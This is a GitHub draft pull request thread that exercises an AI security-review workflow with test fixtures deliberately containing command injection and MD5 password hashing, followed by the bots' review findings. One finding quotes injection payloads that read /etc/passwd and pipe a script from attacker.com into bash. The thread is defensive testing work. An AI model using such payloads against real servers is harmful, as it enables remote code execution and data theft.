test(do-not-merge): exercise security-review workflow

[DmytroZaichenkoDev]

Purpose

Draft PR used only to exercise the Claude security-review workflow added in #6739. Do not merge. Close after validation.

What's in here

• `test-fixtures/security-review/critical-rce.ts` — intentional command injection via `child_process.exec` on user input (expected: High severity finding).
• `test-fixtures/security-review/medium-weak-crypto.ts` — intentional MD5 password hashing (expected: Medium severity finding).

Both files carry `TEST_ONLY — DO NOT MERGE` banners.

Prerequisite

The security-review workflow file lives on PR #6739 against `development-1.0`. Until #6739 is merged, the workflow will not trigger on this PR — GitHub reads workflow definitions from the base branch.

How to trigger after #6739 merges

1. Confirm the `security-review` label is applied (it should be).
2. Push an empty commit (`git commit --allow-empty -m "trigger" && git push`) or close + reopen the PR.
3. Expect: review comments on each fixture file; no "no issues" comment (since findings-count > 0).

🤖 Generated with Claude Code

[ai-dial-actions]

Hey there and thank you for opening this pull request! 👋🏼

We require pull request titles to follow the Conventional Commits specification and it looks like your proposed title needs to be adjusted.

Details:

Unknown release type "test" found in pull request title "test(do-not-merge): exercise security-review workflow".

Available types:
 - fix
 - hotfix
 - feat
 - feature
 - chore

[github-actions]

🤖 Security Issue: Unsanitized user-controlled input from req.query.host is interpolated directly into a shell command string passed to exec(). The exec() call uses /bin/sh under the hood, making shell metacharacters (;, &&, |, $(), backticks) fully operational.

Severity: HIGH
Category: command_injection
Tool: ClaudeCode AI Security Analysis

Exploit Scenario: An attacker sends GET /api/ping?host=8.8.8.8%3B+cat+/etc/passwd to obtain /etc/passwd. More critically, ?host=$(curl+attacker.com/shell.sh|bash) achieves full RCE on the server process. Because req.query can return a string array, an attacker can also supply multiple host[] values that Node coerces to a comma-separated string, bypassing naive string-equality checks. Exploitation requires no authentication and no special privileges beyond network access to the endpoint.

Recommendation: Never pass user input into exec() via string interpolation. Use execFile() with a fixed binary path and a separate arguments array (execFile('/bin/ping', ['-c', '1', host], ...)) which bypasses the shell entirely. Additionally, validate host against a strict allowlist or RFC-1123 hostname regex before passing it to any subprocess.

[github-actions]

🤖 Security Issue: MD5 is used as the sole password hashing algorithm with no salt. MD5 is a general-purpose hash designed for speed, not password storage. It produces a 128-bit digest with no work factor, making offline brute-force and precomputed rainbow-table attacks trivially fast on modern hardware (tens of billions of hashes/second on a GPU).

Severity: MEDIUM
Category: weak_cryptography
Tool: ClaudeCode AI Security Analysis

Exploit Scenario: If the table storing these hashes is exfiltrated (SQL injection, backup leak, misconfigured S3 bucket), an attacker can crack all passwords offline using publicly available rainbow tables for MD5 or by running hashcat/john at GPU speed. Because no per-user salt is added, identical passwords produce identical hashes, allowing bulk cracking in a single pass. Cracked passwords can then be used for account takeover or credential stuffing against external services if users reuse passwords.

Recommendation: Replace MD5 with a purpose-built password KDF: bcrypt (cost factor ≥ 12), Argon2id, or scrypt. These are slow by design, include a built-in salt, and resist GPU-accelerated attacks. Example: use the 'bcryptjs' or 'argon2' npm package instead of Node's built-in 'crypto' module for password operations.

[claude]

Claude finished @nepalevov's task in 49s —— View job

---

Security Review

• Gather context
• Run security review
• Post findings
• Update summary

---

Summary

Severity	File	Description
HIGH (already reported)	critical-rce.ts:13	Command injection via unsanitized req.query.host passed to exec()
MEDIUM (already reported)	medium-weak-crypto.ts:9	MD5 used for password hashing — no salt, no work factor
LOW (new)	medium-weak-crypto.ts:12	Timing-safe comparison not used in verifyPassword — === leaks hash bytes via timing oracle

The HIGH and MEDIUM findings were already covered by the previous workflow run. One additional LOW finding (timing attack in verifyPassword) was posted as a new inline comment.

[claude]

Security Issue: Timing-safe comparison not used for hash verification

Severity: LOW
Category: timing_attack

Plain === comparison on hex strings exits early on the first differing character, leaking timing information. An attacker who can make many requests and measure response times can recover the hash byte-by-byte via a timing oracle.

Recommendation: Use crypto.timingSafeEqual(Buffer.from(a), Buffer.from(b)) instead of === for all secret/hash comparisons.